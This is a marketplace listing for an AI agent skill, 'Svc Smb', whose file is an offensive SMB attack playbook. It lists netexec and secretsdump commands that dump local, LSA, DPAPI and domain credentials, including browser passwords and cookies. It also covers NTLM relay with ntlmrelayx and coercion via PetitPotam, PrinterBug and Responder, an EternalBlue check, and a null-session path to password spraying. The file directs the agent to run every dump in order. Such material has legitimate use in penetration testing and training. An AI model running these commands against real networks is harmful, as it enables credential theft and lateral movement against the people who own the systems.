How do I install the Svc Smb skill?

Run npx skillmds@latest add s0ld13rr/svc-smb in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the Svc Smb skill do?

SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam. It is listed under Coding & Dev Tools on SkillMD.

Is Svc Smb safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Svc Smb?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Svc Smb free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Svc Smb?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Svc Smb by s0ld13rr — Agent Skill

Name: Svc Smb
Rating: 4.2 (5 reviews)
Author: s0ld13rr

File contents

SMB — Gotchas & Attack Chains

DPAPI dump trap

netexec smb HOST -u USER -p PASS --dpapi bare = FULL dump (browser passwords, vault, cookies, Credential Manager). Adding subcommands (cookies, nosystem, wifi) LIMITS output. Always bare --dpapi first.

Credential dump order (with local admin)

Run ALL, in order — each gets different secrets:

--sam — local hashes
--lsa — service passwords, cached domain creds
--dpapi — user secrets (browser, vault, Credential Manager)
--ntds — DC only, all domain hashes Fallback: secretsdump.py DOMAIN/USER:PASS@HOST

SMB relay (signing disabled)

Check: netexec smb TARGET → if "signing: False" → relay is possible. Generate target list: netexec smb SUBNET --gen-relay-list relay.txt Relay: impacket-ntlmrelayx -tf relay.txt -smb2support Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.

EternalBlue (MS17-010)

Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: nmap --script smb-vuln-ms17-010 -p 445 TARGET.

Null session → spray chain

enum4linux-ng -A TARGET, rpcclient -U '' -N TARGET -c 'enumdomusers'. If null session works → user list → AS-REP roast / password spray.

Frequently asked questions

Svc Smb